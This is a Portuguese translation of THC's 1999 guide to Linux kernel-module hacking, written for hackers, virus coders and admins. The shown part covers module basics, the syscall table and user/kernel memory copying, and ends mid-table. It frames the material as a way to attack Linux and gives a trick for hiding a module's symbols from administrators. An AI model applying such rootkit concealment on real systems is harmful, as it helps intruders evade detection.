==============================================================================
Este documento foi escrito por pragmatic da THC(The Hackers Choice) em marco
de 1999. E foi traduzido para a lingua portuguesa em abril de 2001 por :

Blood_Sucker (blooding@punkmail.com)
Hophet (hophet@yahoo.com.br)

Agradeco tambem ao hak e ao h3ll da unsek, q ajudaram na traducao tambem. =]

A versao original deste documento(em ingles) pode ser encontrada em:
http://www.thehackerschoice.com/papers/LKM_HACKING.html

Esta versao traduzida pode ser encontrada em:
http://unsekurity.virtualave.net/

Traducao autorizada pela The Hackers Choice(THC).
Thanks The Hackers Choice!!!
Obs.: Os comentarios dos codigos nao foram traduzidos para nao afetar a 
integridade do mesmo.
==============================================================================

	         (quase)Linux Completo Loadable Kernel Modules
 
- o guia definitivo para hackers, coders de virus e administradores 
de sistema - 

escrito por pragmátic / THC, versão 1.0 lancado em 03/1999 

                                  CONTEÚDOS 

Introducão
 
- I. Basico
 1. O que sao LKMs 
 2. O que sao Syscalls
 3. O Que eh um Kernel-Simbol-Table
 4. Como transformar o Kernel para o User Space Memory  
 5. Modos para usar user space como funcões 
 6. Lista das funcoes de kernel space necessarias diariamente
 7. Que eh o Kernel-Daemon 
 8. Criando seus proprios Dispositivos(Devices)
 
- II. Diversão & Lucro 
 1. Como interceptar Syscalls 
 2. Syscalls interessantes p/ Interceptar
 2.1 Achando systemcalls interessantes (o strace aproximam) 
 3. Confundindo o kernel's System Table
 4. Relativo a Filesystem Hacks
 4.1 Como Esconder Arquivos
 4.2 Como esconder os conteúdos de arquivo (totalmente) 
 4.3 Como esconder certas partes de um arquivo (prototipo de implementação) 
 4.4 Como redirecionar operações de monitores de arquivo 
 4.5 Como evitar qualquer problema de dono de arquivo
 4.6 Como fazer um unaccessible hacker-tools-directory 
 4.7 Como mudar Ambientes de CHROOT 
 5. Relacionado a Process Hacks
 5.1 Como esconder qualquer processo 
 5.2 Como redirecionar Execução de arquivos 
 6. Hacking relacionado a Rede (Socket) 
 6.1 Como controlar Operacões de Sockets  
 7. Modos para Sequestrar TTY (TTY hijacking)
 8. Vírus escritos com LKMs 
 8.1 Como um vírus de LKM pode infetar qualquer arquivo (não só módulos; prototipo) 
 8.2 Como um virus de LKM nos ajuda a entrar 
 9. Fazendo nosso LKM invisível & irremovivel
 10. Outros modos de abusar do Kerneldaemon 
 11. Como fazer para checar a presenca de nosso LKM 

- III. Solucoes (Para admins) 
 1. LKM Detector Teoria & Idéias  
 1.1 Exemplo prático de um Detector de protótipo 
 1.2 Exemplo prático de protecao a prototipo password create_module(...)
 2. Idéias de Anti-LKM-Infector 
 3. Faça seus programas sem pista (teoria) 
 3.1 Exemplo prático de um prototipo Anti-investigador(Anti-Tracer)
 4. Enrigecendo o kernel do Linux com LKMs  
 4.1 Por que nós devemos permitir direitos de execução de programas arbitrários? 
 4.2 O Remendo de Vinculo ... ("Link Patch") 
 4.3 O /proc Patch permissão (a ideia de route's da Phrack implementado como LKM)
 4.4 O Patch securelevel (a ideia de route's da Phrack implementado como LKM) 
 4.5 O Patch(remendo=atualizacao) de rawdisk 

- IV. Algumas Ideias Melhores (para hackers) 
 1. Truques para bater admin LKMs 
 2. Consertando o kernel inteiro - ou criando o Hacker-OS 
 2.1 Como achar Kernel Symbols em /dev/kmem 
 2.2 O novo 'insmod' trabalhando sem suporte do Kernel
 3. Ultimas palavras 

- V. O proximo futuro: Kernel 2.2.x 
 1. Principal Diferenca para escritores de LKM
 
- VI. Últimas Palavras 
1.  A 'historia LKM' ou 'como fazer um Plug System & Hacking compativel'
2.  Links para outros Recursos 


Reconhecimentos 

Greets
 
Apendice 

A - Codigos Fonte (Open-source) 
a) Infeccão de LKM por Stealthf0rk/SVAT 
b) Heroin - o clássico por Runar Jensen 
c) LKM Hider / Socket Backdoor por plaguez 
d) LKM TTY hijacking(sequestrador de TTY) por halflife 
e) AFHRM - a ferramenta de monitor por Michal Zalewski 
f) CHROOT modulo truque por FLoW/HISPAHACK 
g) Memoria de Kernel que Conserta por? (Kernel Memory Patching by ?) 
h) Insersao de Modulo sem suporte nativo por Silvio Cesare 

------------------------------------------------------------------------
 
Introducão
 
O uso do Linux em ambientes de servidor está crescendo segundo após 
segundo. Hackear um Linux assim fica mais interessante a cada dia. Uma das
melhores tecnicas pra atacar um sistema Linux eh usar codigos de Kernel.
Devido a sua caracteristica chamada Loadable Kernel Modules (LKMs) eh
possivel escrever um codigo que corre em Kernel Space que nos permita ter
acesso a partes muito sensiveis do OS. Havia alguns textos e arquivos 
relativo a LKM hacking antes (na Phrack, por exemplo) que sao muito bons. 
Eles introduziram ideias novas, metodos novos e LKMs completos dos quais 
os hackers sempre sonharam em ter. Tambem haviam algumas listas de discussoes
publicas (Newsgroups, Mailinglists) em 1998 q eram muito interessantes.
Assim, ja q ha tanta informacao por ai, por que eu escrevo um novo texto  
sobre LKMs?
Bem, há várias razões: 

    - Os textos anteriores as vezes não deram explicacões boas para novatos em
      Kernel; este texto tem uma secão básica muito grande e ajuda os  
      novatos a entender os conceitos. Eu conheci muitas pessoas que usam
      exploits/sniffers muito interessantes, sem entender ate mesmo como
      eles trabalham. Eu inclui muitos codigos fonte neste texto, com
      muitos comentários, soh pra ajudar esses novatos que sabem que
      hacking eh mais do que jogar assolamento lá fora em algumas cadeias! 

    - Todo texto publicado se concentrou em um assunto especial, não havia
      nenhum guia completo para hackers relativo a LKMs. Este texto
      cobrirá quase todos aspectos de Kernel ateh abusando de aspectos de
      virus.

    - Este texto foi escrito para hackers e virus coders, mas tambem 
      ajudará admins e fomentadores de Kernel normais a fazerem um
      trabalho melhor

    - Textos anteriores nos mostraram as vantagens e principais metodos para 
      se abusar de LKMs, mas há algumas coisas das quais nos não ouvimos
      falar. Este texto mostrará algumas ideias novas (nada totalmente
      novo, mas coisas que poderiam nos ajudar)

    - Este texto mostrará conceitos de alguns modos simples para se proteger de
      ataques de LKM 

    - Este texto tambem mostrará como derrotar protecões de LKM usando metodos
      como Runtime Kernel Patching
 
Por favor, lembre-se, as ideias "novas" são implementadas como prototicos de 
modulos (so para demonstracão) e tem de ser melhorados para os usar realmente.
A minha motivacão principal eh dar para todo o mundo um texto grande que cobre 
o todo o problema de LKMs. No apendice A eu lhe dou alguns LKMs existentes + uma 
descricão pequena de seu funcionamento (para novatos) e modos para usa-lo.
O texto inteiro (menos a parte V) está baseado em um Linux 2.0.x máquina (x86).
Eu testei todos os programas e fragmentos de codigo. O sistema Linux se faz 
necessario para q o LKM possa ser usado na maioria dos exemplos de codigo deste 
texto. Soh a parte IV ja mostrará algumas fontes que trabalham sem apoio de LKM 
nativo. A maioria das ideias deste texto tambem funcionaram em 2.2.x sistemas
(talvez voce precisará de alguma modificacão secundária); mas a revocacão eh que
o Kernel 2.2.x foi lancado a pouco tempo(1/99) e a maioria das distribuicoes de 
linux ainda usam 2.0.x (Redhat, SuSE, Caldera,...). Em abril algumas
distribuidores como SuSE apresentarão como seu Kernel as versoes 2.2.x;
portanto voce não precisará saber hackear um kernel 2.2.x no momento. Apesar de
nao haver grandes diferencas.
Bons administradores tambem esperarão alguns meses por adquirir um kernel 
2.2.x  mais estavel. 
Nota: a Maioria dos sistemas ainda não precisam de kernel 2.2.x, sendo assim, 
      eles continuarão usando 2.0.x. Este texto tem uma secão especial que 
      deve ser lida atenciosamente sobre LKMs que ajudam admins para deixar 
      o sistema seguro. Voce (hacker) tambem deveria ler esta secão, voce tem 
      que saber tudo o q os admins sabem e mais um pouco hehe. Voce tambem 
      obterá algumas ideias agradáveis naquela secão que pode lhe ajudar a 
      desenvolver 'hacker-LKMs' mais avancados. Portanto leia o texto inteiro! 
      E por favor lembre-se: Este texto foi escrito apenas para propositos 
      educacionais. Qualquer acão ilegal baseada neste texto eh problema seu.
 

I. Fundamentos (Basico)

1. O que sao LKMs

LKMs(Loadable Kernel Modules) sao usados pelo kernel do linux para 
expandir sua funcionalidade. A vantagem de escolher LKMs:
"Eles podem ser rodados dinamicamente", nao precisam da recompilacao 
do kernel, pois eles sao usados para um especifico device driver(ou 
filesystem) como uma placa de som, de rede, etc.
Todos os LKMs consistem no minimo em 2 funcoes basicas:

int init_module(void) /*used for all initialition stuff*/
{

...
}

void cleanup_module(void) /*used for a clean shutdown*/
{
...
}

Para rodar um module(ou modulo em portugues) - normalmente como root - 
eh necessario usar o seguinte comando:

# insmod module.o

Este comando forca o sistema a rodar o seguinte algoritmo:

- Roda o arquivo objeto(module.o)
- chama a create_module systemcall(para saber sobre systemcalls olhe
  o capitulo I.2) para realocacao da memoria.
- referencias nao-resolvidas sao resolvidas pelos Kernel-Symbols com
  o systemcall get_kernel_syms
- depois o systemcall init_module eh usado pra inicializacao do 
  LKM - executando int init_module(void) etc.

Os Kernel-Symbols saun explicados no I.3(Kernel-Symbol-Table)
Entao acho q podemos escrever nosso primeiro LKM apenas mostrando
como funciona basicamente(LKMs sao escritos em C):

#define MODULE
#include <Linux/module.h>

int init_module(void)
{
 printk("<1>Hello World\n");
 return 0;
}

void cleanup_module(void)
{
 printk("<1>Bye, Bye");
}

Voce deve estar se perguntando porque eu usei a funcao printk() ao 
inves de printf(). Bem, programacao de kernel(Kernel-Programming) eh 
totalmente diferente de programacao normal(Userspace-Programming).
Voce soh tem uma grande restricao de comandos(veja I.6). Com os 
comandos vc nao pode fazer muita coisa, mas quando vc aprender a 
usar o monte de funcoes vc sabera por suas aplicacoes como hackear 
um kernel. Seja paciente, temos q fazer muita coisa antes...
O exemplo q dei pode ser facilmente compilado assim:

# gcc -c -O3 helloworld.c
# insmod helloworld.o

Ok, o modulo esta rodando e foi mostrado a nos a famosa frase. Agora
vc pode checar alguns comandos mostrando como o LKM realmente 
atua no kernel.

# lsmod
Module         Pages    Used by
helloworld         1	      0

Este comando le as informacoes no /proc/modules para mostrar os 
modulos q estao sendo rodados no momento. 'Pages' eh a informacao 
da memoria(quantas paginas tem este modulo) e 'Used by' mostra-nos 
como este modulo eh usado no sistema(conta de referencia). 
O modulo pode simplesmente ser removido, quando este Used by eh 
zero; depois de checar issu, vc pode remover este comdulo com:

# rmmod helloworld

Ok, este foi nosso pequeno (muuuuioto pequeno) primeiro passo em LKMs.
Eu sempre comparo LKMs com velhas DOS TSR Programs(sim, existem diversas
diferencas, eu sei),  eles saun feitos para ficar na memoria e pegar 
todas as interrupts q procuramos. Microdoft Windows 9x tem algo como
VxD, algo similar a LKMs(porem muito diferentes).
A parte mais interessante de residentiar programas eh a habilidade de 
fisgar funcoes.

2. O que sao systemcalls(chamada de sistemas)

Vc deve saber q todos os sistemas operacionais tem algumas funcoes
ja imbutidas no kernel, q sao usadas em todas operacoes do sistema.
As funcoes do linux sao called systemcalls(chamada de sistema omitida).
Elas representam uma transicao do user com o kernel space. 
Abrir um arquivo(fopen()) no userspace eh representado pela 
systemcall sys_open no kernel space. Para uma lista completa
com todos os systemcalls avaliados no seu sistema, olhe o arquivo
/usr/include/sys/syscall.h. Esta lista abaixo mostra o meu syscall.h:

#ifndef	_SYS_SYSCALL_H
#define	_SYS_SYSCALL_H

#define	SYS_setup		0 /* Used only by init, to get system going. */
#define SYS_exit		1
#define SYS_fork		2
#define SYS_read		3
#define SYS_write		4
#define SYS_open		5
#define SYS_close		6
#define SYS_waitpid     	7
#define SYS_creat		8
#define SYS_link		9
#define SYS_unlink	        10
#define SYS_execve		11
#define SYS_chdir		12
#define SYS_time		13
#define SYS_prev_mknod		14
#define SYS_chmod		15
#define SYS_chown		16
#define SYS_break		17
#define SYS_oldstat		18
#define SYS_lseek		19
#define SYS_getpid		20
#define SYS_mount		21
#define SYS_umount		22
#define SYS_setuid		23
#define SYS_getuid		24
#define SYS_stime		25
#define SYS_ptrace		26
#define SYS_alarm		27
#define SYS_oldfstat		28
#define SYS_pause		29
#define SYS_utime		30
#define SYS_stty		31
#define SYS_gtty		32
#define SYS_access		33
#define SYS_nice		34
#define SYS_ftime		35
#define SYS_sync		36
#define SYS_kill		37
#define SYS_rename		38
#define SYS_mkdir		39
#define SYS_rmdir		40
#define SYS_dup			41
#define SYS_pipe		42
#define SYS_times		43
#define SYS_prof		44
#define SYS_brk			45
#define SYS_setgid		46
#define SYS_getgid		47
#define SYS_signal		48
#define SYS_geteuid		49
#define SYS_getegid		50
#define SYS_acct		51
#define SYS_phys		52
#define SYS_lock		53
#define SYS_ioctl		54
#define SYS_fcntl		55
#define SYS_mpx			56
#define SYS_setpgid		57
#define SYS_ulimit		58
#define SYS_oldolduname		59
#define SYS_umask		60
#define SYS_chroot		61
#define SYS_prev_ustat		62
#define SYS_dup2		63
#define SYS_getppid		64
#define SYS_getpgrp		65
#define SYS_setsid		66
#define SYS_sigaction		67
#define SYS_siggetmask		68
#define SYS_sigsetmask		69
#define SYS_setreuid		70
#define SYS_setregid		71
#define SYS_sigsuspend		72
#define SYS_sigpending		73
#define SYS_sethostname		74
#define SYS_setrlimit		75
#define SYS_getrlimit		76
#define SYS_getrusage		77
#define SYS_gettimeofday  	78
#define SYS_settimeofday  	79
#define SYS_getgroups		80
#define SYS_setgroups		81
#define SYS_select		82
#define SYS_symlink		83
#define SYS_oldlstat		84
#define SYS_readlink		85
#define SYS_uselib		86
#define SYS_swapon		87
#define SYS_reboot		88
#define SYS_readdir		89
#define SYS_mmap		90
#define SYS_munmap		91
#define SYS_truncate		92
#define SYS_ftruncate		93
#define SYS_fchmod		94
#define SYS_fchown		95
#define SYS_getpriority		96
#define SYS_setpriority		97
#define SYS_profil		98
#define SYS_statfs		99
#define SYS_fstatfs		100
#define SYS_ioperm		101
#define SYS_socketcall		102
#define SYS_klog		103
#define SYS_setitimer		104
#define SYS_getitimer		105
#define SYS_prev_stat		106
#define SYS_prev_lstat		107
#define SYS_prev_fstat		108
#define SYS_olduname		109
#define SYS_iopl		110
#define SYS_vhangup		111
#define SYS_idle		112
#define SYS_vm86old		113
#define SYS_wait4		114
#define SYS_swapoff		115
#define SYS_sysinfo		116
#define SYS_ipc			117
#define SYS_fsync		118
#define SYS_sigreturn		119
#define SYS_clone		120
#define SYS_setdomainname	121
#define SYS_uname		122
#define SYS_modify_ldt		123
#define SYS_adjtimex		124
#define SYS_mprotect		125
#define SYS_sigprocmask		126
#define SYS_create_module	127
#define SYS_init_module		128
#define SYS_delete_module	129
#define SYS_get_kernel_syms	130
#define SYS_quotactl		131
#define SYS_getpgid		132
#define SYS_fchdir		133
#define SYS_bdflush		134
#define SYS_sysfs		135
#define SYS_personality		136
#define SYS_afs_syscall		137 /* Syscall for Andrew File System */
#define	SYS_setfsuid		138
#define	SYS_setfsgid		139
#define	SYS__llseek		140
#define SYS_getdents		141
#define SYS__newselect		142
#define SYS_flock		143
#define SYS_syscall_flock	SYS_flock
#define SYS_msync		144
#define SYS_readv		145
#define SYS_syscall_readv	SYS_readv
#define SYS_writev		146
#define SYS_syscall_writev	SYS_writev
#define SYS_getsid		147
#define SYS_fdatasync		148
#define SYS__sysctl		149
#define SYS_mlock		150
#define SYS_munlock		151
#define SYS_mlockall		152
#define SYS_munlockall		153
#define SYS_sched_setparam	154
#define SYS_sched_getparam	155
#define SYS_sched_setscheduler	156
#define SYS_sched_getscheduler	157
#define SYS_sched_yield		158
#define SYS_sched_get_priority_max	159
#define SYS_sched_get_priority_min	160
#define SYS_sched_rr_get_interval	161
#define SYS_nanosleep		162
#define SYS_mremap		163
#define SYS_setresuid		164
#define SYS_getresuid		165
#define SYS_vm86		166
#define SYS_query_module	167
#define SYS_poll		168
#define SYS_syscall_poll	SYS_poll

#endif	/* <sys/syscall.h> */

Todo systemcall tem um numero definido(como deve ter reparado na lista),
q sao usados para para pegar o systemcall.
O kernel usa a interrupt(interrupcao) 0x80 para trabalhar com todos
os systemcalls. O numero do systemcall e qualquer outro argumento eh 
movido para alguns registradores(eax para systemcall number, por exemplo).
O systemcall number eh uma indexacao (em uma matriz(array)) da estrutura
sys_call_table[]. Esta estrutura procura os systemcall numbers para
o servico necessario da funcao.
Ok, este eh o conhecimento suficiente para vc continuar lendo. A
proxima tabela mostra systemcalls muuito interessantes com uma pequena
descricao. Acredite em mim, vc tem q saber como funciona exatamente
diversar systemcalls para ter realmente um bom proveitamento em LKMs.

USAGE: systemcall;  descricao 
==============================================================================
int sys_brk(unsigned long new_brk);  | muda o tamanho usado pelo DS(data
                                     | segment) -> esse systemcall sera 
                                     | discutido em I.4
==============================================================================
int sys_fork(struct pt_regs regs);   | systemcall para a famosa funcao fork()
                                     | do user space   
==============================================================================
int sys_getuid ()                    | Systemcalls para trabalhas com UID etc.
int sys_setuid (uid_t uid)           | 
...                                  |
==============================================================================
				                   | systemcall para acessar 
int sys_get_kernel_sysms(struct kernel_sym *table) | a tabela de sistemas do 
                                                   | kernel => veja em I.3 
===============================================================================
int sys_sethostname (char *name, int len); | sys_sethostname eh responsavel por
int sys_gethostname (char *name, int len); | setar o hostname e sys_gethostname
                                           | para pega-lo.
===============================================================================
int sys_chdir (const char *path);    | Ambas funcoes sao usadas para setar 
int sys_fchdir (unsigned int fd);    | um devido diretorio (cd ...)
===============================================================================
int sys_chmod (const char *filename, mode_t mode); |
int sys_chown (const char *filename, mode_t mode); | funcoes para trabalhas 
int sys_fchmod (unsigned int fildes, mode_t mode); | com permissoes
int sys_fchown (unsigned int fildes, mode_t mode); |
===============================================================================
int sys_chroot (const char *filename); | seta o diretorio root para chamada de 
                                       | processos
===============================================================================
             			      | este eh importante, ele eh responsavel
int sys_execve (struct pt_regs regs); | por execucao de arquivos(pt_regs eh o 
                                      | registro de pilha)
===============================================================================
long sys_fcntl (unsigned int fd,      | mudando caracteristicas offd (descricao
unsigned int cmd, unsigned long arg); | de arquivo aberto)
===============================================================================
int sys_link (const char *oldname, const char *newname); | systemcalls para
int sym_link (const char *oldname, const char *newname); | trabalhar com
int sys_unlink (const char *name);                       |(hard/soft)-links
===============================================================================
int sys_rename (const char *oldname, const char *newname); | renomear arquivos
===============================================================================
int sys_rmdir (const char* name);               | criando e removendo 
int sys_mkdir (const *char filename, int mode); | diretorios
===============================================================================
int sys_open (const char *filename, int mode);| tudo relacionado a abertura, 
int sys_close (unsigned int fd);	      | fechamento e criacao de arquivos
===============================================================================
int sys_read (unsigned int fd, char *buf,  |
 unsigned int count);                      | systemcall para escrita & leitura
int sys_write (unsigned int fd, char *buf, | de arquivos
 unsigned int count);                      |
===============================================================================
int sys_getdents (unsigned int fd,          | systemcall para requisitar uma
struct dirent *dirent, unsigned int count); | listagem de arquivos
===============================================================================
int sys_readlink (const char *path,  | lendo links simbolicos
char *buf, int bufsize);             |
===============================================================================
int sys_selectt (int n, fd_set *inp, | multiplas operacoes de I/O(in/out), 
fd_set *outp, fd_set *exp,           | ou seja, entrada e saida.
struct timeval *tvp);                |
===============================================================================
sys_socketcall (int call,    | funcoes com sockets
unsigned long args);         |
===============================================================================
unsigned long sys_create_module (char *name, |
unsigned long size);                         |
int sys_delete_module (char *name);          | usado para rodar ou "desrodar" 
int sys_query_module (const char *name,      | LKMs 
int which, void *buf, size_t bufsize,        |
size_t *ret);                                |
===============================================================================

Na minha opiniao estes sao os mais interessantes systemcalls para qualquer
intencao hacker, eh claro que para isso se tornar possivel voce precisara
de algo especial no seu sistema rooteado, mas a diversidade hacker tem uma
enorme utilidade na a lista assima. Na parte II vc precisara aprender como
usar systemcalls para seu proprio lucro.

3. O que eh Kernel-Symbol-Table(Tabela de Simbolos do Kernel)

Ok, nos entendemos os conceitos basicos de systemcalls e modulos. Mas aqui
esta um outro ponto importante que temos que entender - a Kernel-Symbol-Table.
De uma olhada no /proc/ksyms. Tudo neste arquivo representa um Kernel Symbol,
que pode ser acessado pelo nosso LKM. De uma boa olhada neste arquivo, voce
ira encontrar difersas coisas interessantes. Este arquivo eh realmente muito
interessant, e pode nos ajudar a ver o que nosso LKM pode fazer, mas tem um
problema, todo symbol usado em nosso LKM(como uma funcao) eh entao exportado
publicamente, e entao eh listado naquele arquivo. Entao um administrador 
experiente pode descobrir nosso pequeno LKM e killalo.
Existem diversas maneiras de prevenir que um adm veja nosso LKM, de uma olhada
na secao II.
Os metodos mencionados na secao II podem ser chamados de 'Hacks', mas quando 
voce da uma olhada na secao II vc nao encontra uma referencia de 'Deixando
LKM Symbols fora do /proc/ksyms. Desenvolvedores de LKM usam o seguinte 
codigo para limitar a exportacao de simbolos daquele modulo:

static struct symbol_table module_syms= { /*we define our own symbol table !*/
 #include <linux/symtab_begin.h>          /*symbols we want to export, do we ?*/
   ...                                       
};

register_symtab(&module_syms);            /*do the actual registration*/

Como eu disse, nos nao queremos exportar simbolos publicamente, entao usamos
a seguinte instrucao:

register_symtab(NULL);

Esta linha sera inserida na funcao init_module(), lembre-se disso!

4. Como transformar o kernel em uma User Space Memory

Ateh agora a coisa tem sido bastante basica e bastante facil. Agora vamos
degustar algo mais dificil(mas nao mais avancado).
Nos temos muitas vantagens na programacao do kernel space, mas nos tambem
temos algumas desvantagens. Systemcalls pegam os argumentos do user space
(que sao implementados na libc), mas nosso LKM roda em um kernel space.
Na secao II voce ira ver como eh importante checar argumentos de alguns 
systemcall de forma que ajam de uma certa maneira. Mas como podemos acessar
um argumento alocado num user space por um kernel space module???
Solucao: Temos de fazer uma transicao.
Isso pode parecer estranho para nao-kernel-hackers, mas eh realmente facil.
De uma olhada neste systemcall:

int sys_chdir (const char *path)

Imagine o sistema chamando isso, e nos interceptamos aquela chamada(nos 
vamos aprender a fazer isso na porra da secao II). Nos queremos checar 
algo que queremos setar, entao temos que acessar a const char *path. Se
voce tentar acessar a variavel diretamente como...

printk("<1>%s\n", path);

...voce tera grandes problemas...
Lembrese que voce esta no kernel scape, vc nao pode ler a user space memory. 
Na phrack 52 voce tem uma solucao pelo plaguez, com strings especiais.
Ele usa uma funcao de kernel para requisitar user space memory bytes:

#include <asm/segment.h>

get_user(pointer);

Dando esta funcao para um ser localizada pelo ponteiro *path ira nos ajudar
a pegar bytes da user space memory para o kernel space. 
Olhe a implementacao feita por plaguez para mover strings de user para
kernel space:

char *strncpy_fromfs(char *dest, const char *src, int n)
{
    char *tmp = src;
    int compt = 0;

    do {
	dest[compt++] = __get_user(tmp++, 1);
    }
    while ((dest[compt - 1] != '\0') && (compt != n));

    return dest;
}

Se nos quisermos converter nossa variavel *path, nos podemos usar o seguinte
pedaco do codigo do kernel:

char *kernel_space_path;

 kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating memory 
                                                        in kernel space*/
 (void) strncpy_fromfs(test, path, 20);                 /*calling plaguez's 
                                                        function*/
 printk("<1>%s\n", kernel_space_path);                  /*now we can use
                                                        the data for whatever we
                                                        want*/
 kfree(test);                                           /*remember freeing the
                                                        memory*/

O codigo acima funciona muito bem, Para uma transicao geral isso eh muito
complicado, plaguez usou isso apenas para strings(a funcao eh feita apenas
para copias de strings). Para uma transicao normal a seguinte funcao eh o
jeito mais facil de se fazer:

#include <asm/segment.h>
void memcpy_fromfs(void *to, const void *from, unsigned long count);

Ambas funcoes sao basicamente baseadas no mesmo tipo de comando, mas a segunda
nao eh exatamente como a funcao definida por plaguez. Eu irei recomenda-lo
a usar memcpy_fromfs() para uma transicao geral e a maneira de plaguez para
copiar strings.
Agora nos sabemos como converter de um user space para um kernel space.
Mas e a outra maneira??
Este eh um bit dificil, podemos nao podemos facilmente alocar user space 
memory pela posicao do kernel space. Se nos quisessemos trabalhar com este
problema nos teriamos de usar:

#include <asm/segment.h>
void memcpy_tofs(void *to, const void *from, unsigned long count);

fazendo esta conversao. Mas como alocar user space para o o ponteiro *to??
a phrack do plaguez nos deu uma solucao melhor:

/*we need brk systemcall*/
static inline _syscall1(int, brk, void *, end_data_segment);

...

int ret, tmp;
char *truc = OLDEXEC;
char *nouveau = NEWEXEC;
unsigned long mmm;

mmm = current->mm->brk;
ret = brk((void *) (mmm + 256));
if (ret < 0)
   return ret;
memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);

Issu eh muito legal de usar aqui. Eh um ponteiro apontando para a estrutura
do processo; mm eh o ponteiro para a mm_struct - responsavel pelo trabalho
do processo com a memoria. Usando a brk-systemcall na devida => mm <=, brk
nos habilitara a aumentar o tamanho da área não utilizada do datasegment. 
E como sabemos, alocar a memória é feito com o datasegment, assim que 
aumentando o tamanho não utilizado da área, nós alocamos alguma parte da
memória para o processo atual. Esta memória pode ser usada copiando a
memória do kernel space memory para o user space(do processo atual).
Voce deve estar se perguntando sobre a primeira linha do codigo acima. 
Esta linha nos ajudara a usar o user space como funcoes do kernel space. 
Toda funcao do user space fornecida a nos(como fork, brk, open, read, 
write, ...) eh representada por um syscall(). Entao nos podemos construir
o systemcall exato para uma certa funcao do user space(representada por 
um systemcall) aqui para o brk(). Veja I.5 para uma explicacao mais 
detalhada.

5. Maneiras de usar o user space como funcoes

Como voce viu no I.4 nos usamos um systemcall para construir nossa
proprio brk call, que eh como esse que nos conhecemos no user space
(->brk(2)). A verdade sobre as funcoes da user space library(nem todas)
eh que todos sao inplementados como systemcalls. O seguinte codigo mostra 
o esquema do the_syscall1() usado em I.4 para construir a funcao de brk().
(do /asm/unistd.h).

#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
	: "=a" (__res) \
	: "0" (__NR_##name),"b" ((long)(arg1))); \
if (__res >= 0) \
	return (type) __res; \
errno = -__res; \
return -1; \
}

Voce nao precisa entender este codigo em sua funcao cheia, ele apenas
chama a interrupcao 0x80 com os argumentos fornecidos pelos parametros
do _syscall1 (=> I.2) para o systemcall que precisamos (o nome eh 
expandido para __NR_name, que eh definido em /asm/unistd.h) Desta forma
nos implementamos a funcao do brk. Outras funções com uma contagem 
diferente dos argumentos são executadas com outros macros (_syscallX,
onde X eh trocado pelo numero de argumentos).
Eu pessoalmente uso outra maneira para implementar funcoes; olhe este
exemplo:

int (*open)(char *, int, int); /*declare a prototype*/

open = sys_call_table[SYS_open];  /*you can also use __NR_open*/

Desta maneira vc nao precisa usar nenhum systemcall macro, vc apenas
usa uma funcao apontada por um sys_call_table. Enquanto estivava 
procurando na web, eu encontrei esta maneira de construir user space 
como funcoes e entao usar o famoso LKIM infector do SVAT. Na minha 
opiniao esta eh a melhor solucao, mas teste e julgue voce mesmo.
Seja cuidadoso quando fornecer argumentos para aquele systemcall, 
eles precisam ser em modo user space e nao numa posicao de kernel 
space. Leia I.4 para conhecer maneiras de trazer os seus dados do 
kernel space para o user space.
Uma maneira muita facil de se fazer isso(a melhor na minha opiniao)
eh jogar com os registros necessarios. Voce tem q saber se akele linux
usa seletores de segmento para diferenciar entre kernel space, user 
space e tals...Argumentos usados com systemcalls sao usados pelo kernel.
que foram necessarios no user space estao em algum lugar do data 
segment selector(DS). [Eu nao mencionei isso no I.4, porque tem mais 
alguns ajustes nessa secao]
O DS pode ser requerido usando o get_ds() do asm/segment.h. Entao
o dado usado como parametro pelo systemcall pode apenas acessar 
pelo kernel se nos setarmos o DS usado pelo kernel.
Isso pode ser feito usando set_fs(). Mas seja cuidadoso, voce tem que
restaurar o FS depois de acessar o argumento do systemcall.
Entao de uma olhada no codigo abaixo q mostra alguma coisa sobre:

->filename is in our kernel space; a string we just created, for example

unsigned long old_fs_value=get_fs();

set_fs(get_ds);               /*after this we can access the user space data*/
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
set_fs(old_fs_value);         /*restore fs...*/

Na minha opinicao esta eh a maneita pratica/economica de resolver o 
problema, mas teste vc mesmo(denovo).
Lembre-se das funcoes q eu mostrei ateh agora(brk, open, ...)que sao 
todas implementadas por um systemcall. Mas sao muitos grupos de funcoes
do user space que sao usadas em um systemcall. De uma olhada na lista
dos systemcalls mais intere

6. Lista das funcoes de kernel space necessarias diariamente

Eu introduzi a funcao printk() no comeco do texto. Ela eh uma funcao 
que todos podem usar no kernel space, eh uma funcao do kernel bastante 
usada. Outras funcoes sao feitas para desenvolvedores de kernel que 
necessitam de funcoes complexas que sao normalmente apenas avaliadas 
atraves de uma funcao de biblioteca(library). A seguinte lista mostra
as mais importantes funcoes de kernel que nos precisamos:

Funcao/Macro                     Descricao
======================================================================
int sprintf (char *buf,           |
 const char *fmt, ...);           | funcoes para dados empacotados 
int vsprintf (char *buf,          | em strings
 const char *fmt, va_list args);  |
======================================================================
printk(...)                   | O mesmo que printf no user space
======================================================================
void *memset (void *s, char c, size_t count);              |
void *memcpy (void *dest, const void *src, size_t count);  |	          
char *bcopy (const char *src, char *dest, int count);	   | funcoes de
void *memmove (void *dest, const void *src, size_t count); |  memoria
int memcmp (const void *cs, const void *ct, size_t count); |          
void *memscan (void *addr, unsigned char c, size_t size);  | 	 	
======================================================================
int register_symtab (struct symbol_table *intab);    | veja I.1
======================================================================
char *strcpy (char *dest, const char *src);                |
char *strncpy (char *dest, const char *src, size_t count); |
char *strcat (char *dest, const char *src);		   |
char *strncat (char *dest, const char *src, size_t count); |
int strcmp (const char *cs, const char *ct);		   |
int strncmp (const char *cs,const char *ct, size_t count); | funcoes
char *strchr (const char *s, char c);			   |  para
size_t strlen (const char *s);				   | comparar
size_t strnlen (const char *s, size_t count);		   | strings
size_t strspn (const char *s, const char *accept);	   | etc.
char *strpbrk (const char *cs, const char *ct);		   |
char *strtok (char *s, const char *ct);			   |
======================================================================
unsigned long simple_strtoul (const char *cp, | convertendo Strings
char **endp, unsigned int base);	      | para numeros
======================================================================
get_user_byte (addr);           |
put_user_byte (x, addr);	|
get_user_word (addr);		| funcoes para acessar memoria de
put_user_word (x, addr);	| usuario
get_user_long (addr);		|
put_user_long (x, addr);	|
======================================================================
suser();	|  checando por superusuarios atuais
fsuser();	|
======================================================================
int register_chrdev (unsigned int major,          |
const char *name, struct file_o perations *fops); | funcoes que regis-
int unregister_chrdev (unsigned int major, 	  | tram device drivers:
const char *name);		       		  | _chrdev => character
